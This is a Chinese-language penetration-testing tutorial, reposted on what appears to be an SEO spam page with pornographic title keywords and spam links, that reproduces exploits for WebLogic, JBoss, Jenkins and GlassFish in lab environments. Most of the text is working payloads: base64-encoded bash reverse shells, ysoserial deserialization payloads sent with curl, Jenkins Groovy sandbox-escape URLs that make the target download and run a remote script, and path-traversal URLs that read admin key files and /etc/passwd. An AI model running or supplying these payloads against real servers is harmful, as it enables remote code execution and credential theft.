中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當前位置： 首頁 > news >正文

鹵菜店加盟優(yōu)化排名推廣技術網(wǎng)站

news 2025/7/4 12:11:54
鹵菜店加盟,優(yōu)化排名推廣技術網(wǎng)站,好的地產(chǎn)設計網(wǎng)站,ps怎么做網(wǎng)站橫幅廣告目錄 服務攻防-中間件安全&CVE復現(xiàn)&Weblogic&Jenkins&GlassFish漏洞復現(xiàn)中間件-Weblogic安全問題漏洞復現(xiàn)CVE_2017_3506漏洞復現(xiàn) 中間件-JBoos安全問題漏洞復現(xiàn)CVE-2017-12149漏洞復現(xiàn)CVE-2017-7504漏洞復現(xiàn) 中間件-Jenkins安全問題漏洞復現(xiàn)CVE-2017-1000353漏…

目錄

  • 服務攻防-中間件安全&CVE復現(xiàn)&Weblogic&Jenkins&GlassFish漏洞復現(xiàn)
    • 中間件-Weblogic安全問題
      • 漏洞復現(xiàn)
        • CVE_2017_3506漏洞復現(xiàn)
    • 中間件-JBoos安全問題
      • 漏洞復現(xiàn)
        • CVE-2017-12149漏洞復現(xiàn)
        • CVE-2017-7504漏洞復現(xiàn)
    • 中間件-Jenkins安全問題
      • 漏洞復現(xiàn)
        • CVE-2017-1000353漏洞復現(xiàn)
        • CVE-2018-1000861漏洞復現(xiàn)
    • 中間件-Glassfish安全問題
      • 漏洞復現(xiàn)
        • CVE-2017-1000028漏洞復現(xiàn)

服務攻防-中間件安全&CVE復現(xiàn)&Weblogic&Jenkins&GlassFish漏洞復現(xiàn)

中間件及框架列表： IIS，Apache，Nginx，Tomcat，Docker，Weblogic，JBoos，WebSphere， Jenkins ，GlassFish，Jira，Struts2，Laravel，Solr，Shiro，Thinkphp， Spring，Flask，jQuery等
1、中間件-Weblogic安全
2、中間件-JBoos安全
3、中間件-Jenkins安全
4、中間件-GlassFish安全

常見中間件的安全測試：
1、配置不當-解析&弱口令
2、安全機制-特定安全漏洞
3、安全機制-弱口令爆破攻擊
4、安全應用-框架特定安全漏洞

中間件安全測試流程：
1、判斷中間件信息-名稱&版本&三方
2、判斷中間件問題-配置不當&公開漏洞
3、判斷中間件利用-弱口令&EXP&框架漏洞

應用服務安全測試流程：
1、判斷服務開放情況-端口掃描&組合應用等
2、判斷服務類型歸屬-數(shù)據(jù)庫&文件傳輸&通訊等
3、判斷服務利用方式-特定漏洞&未授權&弱口令等

中間件-Weblogic安全問題

詳解：weblogic詳解

介紹：
Java應用服務器軟件
WebLogic是美國Oracle公司出品的一個application server，確切的說是一個基于JAVAEE架構的中間件，WebLogic是用于開發(fā)、集成、部署和管理大型分布式Web應用、網(wǎng)絡應用和數(shù)據(jù)庫應用的Java應用服務器。將Java的動態(tài)功能和Java Enterprise標準的安全性引入大型網(wǎng)絡應用的開發(fā)、集成、部署和管理之中。
探針默認端口：7001，Weblogic是Oracle公司推出的J2EE應用服務器

安全問題：

CVE_2017_3506
CVE_2018_2893
CVE_2018_3245
CVE-2018-2628 反序列化
CVE_2020_14882
CVE_2021_2394 反序列化
CVE-2023-21839 反序列化
…

以上的漏洞基本都可以使用現(xiàn)成熟的工具進行直接攻擊利用。

漏洞復現(xiàn)

以CVE_2017_3506為例（其他編號漏洞利用基本類似，直接上工具，點一點~）：

CVE_2017_3506漏洞復現(xiàn)

靶場：vulfocus
開啟環(huán)境：
image.png
訪問：
image.png
直接將url信息放入到工具當中進行檢測：
存在漏洞，可直接進行命令執(zhí)行：
image.png

image.png
其他漏洞編號利用方式類似，直接放入到工具當中進行檢測，存在就存在，可直接執(zhí)行命令或者上傳，注入等操作。

手工操作復現(xiàn)：weblogic反序列漏洞復現(xiàn)

中間件-JBoos安全問題

詳解：Jboss詳解

介紹：
J2EE的開放源代碼的應用服務器
是一個基于J2EE的開放源代碼的應用服務器。 JBoss代碼遵循LGPL許可，可以在任何商業(yè)應用中免費使用。JBoss是一個管理EJB的容器和服務器，支持EJB 1.1、EJB 2.0和EJB3的規(guī)范。但JBoss核心服務不包括支持servlet/JSP的WEB容器，一般與Tomcat或Jetty綁定使用。

Jboss通常占用的端口是1098，1099，4444，4445，8080，8009，8083，8093這 幾個，Red Hat JBoss Application Server 是一款基于JavaEE的開源應用服務器。

安全問題：

CVE-2017-12149
CVE-2017-7504
弱口令 未授權訪問
…

漏洞復現(xiàn)

CVE-2017-12149漏洞復現(xiàn)

該漏洞為 Java反序列化錯誤類型，存在于 Jboss 的 HttpInvoker 組件中的 ReadOnlyAccessFilter 過濾器中。該過濾器在沒有進行任何安全檢查的情況下嘗試將來自客戶端的數(shù)據(jù)流進行反序列化，從而導致了漏洞。

靶場：vulhub
參考：JBoss 5.x/6.x 反序列化漏洞
image.png

開啟環(huán)境：
image.png

訪問：
image.png
漏洞利用：

payload：
//反彈shell命令：
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后：
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
//ysoserial工具利用：
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
//curl命令進行請求訪問，發(fā)送：
curl http://192.168.100.134:8080/invoker/readonly --data-binary @poc.ser
//接收端開啟監(jiān)聽
nc -lvvp 8888

在ysoserial工具目錄下生成了poc.ser文件：
image.png

發(fā)送curl請求：
image.png

監(jiān)聽端成功接收，反彈shell成功：
image.png

CVE-2017-7504漏洞復現(xiàn)

介紹：
Red Hat JBoss Application Server 是一款基于JavaEE的開源應用服務器。JBoss AS 4.x及之前版本中，JbossMQ實現(xiàn)過程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞，遠程攻擊者可借助特制的序列化數(shù)據(jù)利用該漏洞執(zhí)行任意代碼。

靶場：vulhub
參考：JBoss 4.x JBossMQ JMS 反序列化漏洞（CVE-2017-7504）
image.png

開啟環(huán)境：
image.png

訪問：
image.png
漏洞利用：

//此漏洞和CVE-2017-12149利用方式差不多，區(qū)別就是請求地址內(nèi)容不同
payload:
//反彈shell命令：
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后：
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
//ysoserial工具利用：
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
//進行curl請求：
curl http://192.168.100.134:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser
//接收端開啟監(jiān)聽：
nc -lvvp 8888

發(fā)送curl請求：
image.png

監(jiān)聽端成功接收，反彈shell成功：
image.png

中間件-Jenkins安全問題

詳解：Jenkins詳解
介紹：

開源軟件項目
Jenkins是一個開源軟件項目，是基于Java開發(fā)的一種持續(xù)集成工具，用于監(jiān)控持續(xù)重復的工作，旨在提供一個開放易用的軟件平臺，使軟件項目可以進行持續(xù)集成。
探針默認端口：8080

安全問題：

CVE-2017-1000353

CVE-2018-1000861

…

漏洞復現(xiàn)

CVE-2017-1000353漏洞復現(xiàn)

靶場：vulfocus
或vulhub
參考：Jenkins-CI 遠程代碼執(zhí)行漏洞
vulhub環(huán)境：
image.png

vulfocus環(huán)境：
image.png
開啟靶場：
image.png

訪問:
image.png

漏洞利用：
工具地址：CVE-2017-1000353
JDK版本需要為jdk-8u291，其他版本可能失效，無法復現(xiàn)成功
下載地址：JDK8

payload：
//執(zhí)行命令，創(chuàng)建文件
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /123.txt"
//執(zhí)行exp
python exploit.py http://192.168.100.134:8080/ jenkins_poc.ser//然后回到我們的靶機中打開終端輸入以下命令，查看驗證是否利用成功
docker ps -a
docker exec -it 838723a23ad0 /bin/bash
ls /

image.png

反彈shell命令：

sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
//base64加密后
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}//反彈shell操作：
//將剛剛執(zhí)行創(chuàng)建文件的命令，換成該反彈shell命令即可（base64加密后的）
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
//執(zhí)行exp
python exploit.py http://192.168.100.134:8080/ jenkins_poc.ser//接收端開啟監(jiān)聽
nc -lvvp 8888

image.png
注意JDK版本，否則可能無法復現(xiàn)。

CVE-2018-1000861漏洞復現(xiàn)

靶場：vulhub
參考：Jenkins遠程命令執(zhí)行漏洞
image.png
開啟環(huán)境：
image.png

訪問：
image.png

漏洞利用：
exp下載地址：CVE-2018-1000861EXP

//使用exp腳本可直接利用，python2下使用
payload：
python2 exp.py python2 exp.py http://192.168.100.134:8080/ "touch /tmp/123.txt"
python2 exp.py http://192.168.100.134:8080/ "touch /tmp/test.txt"//進入靶場環(huán)境進行驗證：
docker ps
docker exec -it 靶場id /bin/bash
ls /tmp/

使用說明：
image.png

使用方式：
image.png

驗證是否成功：
成功創(chuàng)建文件
image.png

還可以進行手工測試：

手工檢測：
poc：
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}
payload:
創(chuàng)建文件：
//發(fā)送以下請求：
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22touch%20/tmp/rumilc%22.execute()}}

image.png

驗證：
成功創(chuàng)建
image.png

反彈shell：

payload：
//反彈shell命令進行base64加密
python2 exp.py http://192.168.100.134:8080  "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
//接收端開啟監(jiān)聽
nc -lvvp 8888

image.png

成功反彈shell：
image.png

ps:如果不能反彈，可在服務端創(chuàng)建文本文件，將反彈shell命令寫進文本文件當中。然后python開啟http服務,觀察狀態(tài)。

//開啟http服務：
python -m http.server 8080//python2執(zhí)行exp腳本，將遠程文件保存至目標主機
python2 exp.py 目標主機 "curl -o /tmp/cmd.sh  http://xxxx:8080/cmd.txt"//python2執(zhí)行exp腳本，使目標主機運行腳本文件反彈shel
python2 exp.py 目標主機 "bash /tmp/cmd.sh"

image.png

http服務端可觀察狀態(tài)：
image.png

進入靶場驗證，存在該文件：
image.png
接下來使用python2腳本exp命令進行執(zhí)行即可。

還可以手工瀏覽器訪問，依次執(zhí)行：

payload：
//這里拿本地演示
//將文件保存到目標主機：
//http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/cmd.sh http://VPSip:8888/cmd.txt".execute()}}
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl -o /tmp/cmd.sh http://127.0.0.1:8080/cmd.txt".execute()}}//執(zhí)行shell腳本
//http://ip:port/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/cmd.sh".execute()}}
http://192.168.100.134:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"bash /tmp/cmd.sh".execute()}}

訪問時，瀏覽器變?yōu)榭瞻捉缑?#xff1a;
執(zhí)行成功
image.png

中間件-Glassfish安全問題

介紹：
GlassFish詳解

一款商業(yè)應用服務器
GlassFish 是一款強健的商業(yè)兼容應用服務器，達到產(chǎn)品級質(zhì)量，可免費用于開發(fā)、部署和重新分發(fā)。開發(fā)者可以免費獲得源代碼，還可以對代碼進行更改。

安全問題：

CVE-2017-1000028
…

漏洞復現(xiàn)

CVE-2017-1000028漏洞復現(xiàn)

漏洞原理：

java語言中會把%c0%ae解析為\uC0AE，最后轉義為ASCCII字符的.（點）。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/來向上跳轉，達到目錄穿越、任意文件讀取的效果。

靶場：vulhub
參考：GlassFish 任意文件讀取漏洞
image.png

開啟環(huán)境：
image.png

進入環(huán)境，訪問：
環(huán)境運行后，訪問http://your-ip:8080和http://your-ip:4848即可查看web頁面。其中，8080端口是網(wǎng)站內(nèi)容，4848端口是GlassFish管理中心。
image.png

payload:
//讀取密碼：
https://192.168.100.134:4848/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile//linux下讀取文件：
https://192.168.100.134:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd//window下讀取文件：
http://you-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini

成功讀取密碼：
image.png

成功讀取文件：
image.png

http://www.risenshineclean.com/news/1344.html

相關文章：

  • 常州做網(wǎng)站包括哪些優(yōu)化網(wǎng)站收費標準
  • 頁面設計好嗎seo怎么發(fā)布外鏈
  • 網(wǎng)站建設資金報告網(wǎng)站宣傳文案范例
  • 深圳網(wǎng)站建設_請到中投網(wǎng)絡!四平網(wǎng)站seo
  • 互聯(lián)網(wǎng)營銷師證書是國家認可的嗎北京seo優(yōu)化wyhseo
  • 二級a做爰片免費視網(wǎng)站淘寶推廣方法有哪些
  • 怎么做班級網(wǎng)站南通做網(wǎng)站推廣的公司
  • 佰聯(lián)軸承網(wǎng)做的網(wǎng)站網(wǎng)站seo優(yōu)化培訓
  • 地方網(wǎng)站域名選擇史上最強大的搜索神器
  • 網(wǎng)站建設這個口碑營銷的步驟
  • 在成都如何找到做網(wǎng)站的公司高級seo
  • 企業(yè)官方網(wǎng)站建設長沙專業(yè)競價優(yōu)化首選
  • 自建網(wǎng)站網(wǎng)址臺州關鍵詞優(yōu)化推薦
  • 怎么建立網(wǎng)站網(wǎng)址360優(yōu)化大師官方網(wǎng)站
  • 公司網(wǎng)站怎么突然多了好多友情鏈接如何刪除今日熱搜前十名
  • 做se要明白網(wǎng)站小紅書關鍵詞排名怎么做
  • 做網(wǎng)站用不用thinkphpb2b電商平臺有哪些
  • 做網(wǎng)站價格公司神馬推廣
  • 珠海企業(yè)網(wǎng)站seo搜索優(yōu)化是什么
  • 電子商務網(wǎng)站建設商城網(wǎng)站長尾關鍵詞挖掘愛站工具
  • 網(wǎng)站vi設計公司惠州百度seo排名
  • 網(wǎng)站優(yōu)化設計方案怎么做青島運營網(wǎng)絡推廣業(yè)務
  • 網(wǎng)站添加定位怎么做網(wǎng)站公司網(wǎng)站建設
  • 迅睿cms模板seo檢查工具
  • 網(wǎng)絡營銷網(wǎng)站建設論文百度網(wǎng)盤網(wǎng)頁版入口官網(wǎng)
  • 美國生物等效性如果做的網(wǎng)站如何制作網(wǎng)頁設計
  • 河北軟件開發(fā)網(wǎng)站建設如何創(chuàng)造一個自己的網(wǎng)站
  • 傳奇世界網(wǎng)頁版在線玩唐山seo優(yōu)化
  • flash網(wǎng)站建設技術成都網(wǎng)絡優(yōu)化托管公司
  • 各大網(wǎng)站代下單怎么做如何做好互聯(lián)網(wǎng)營銷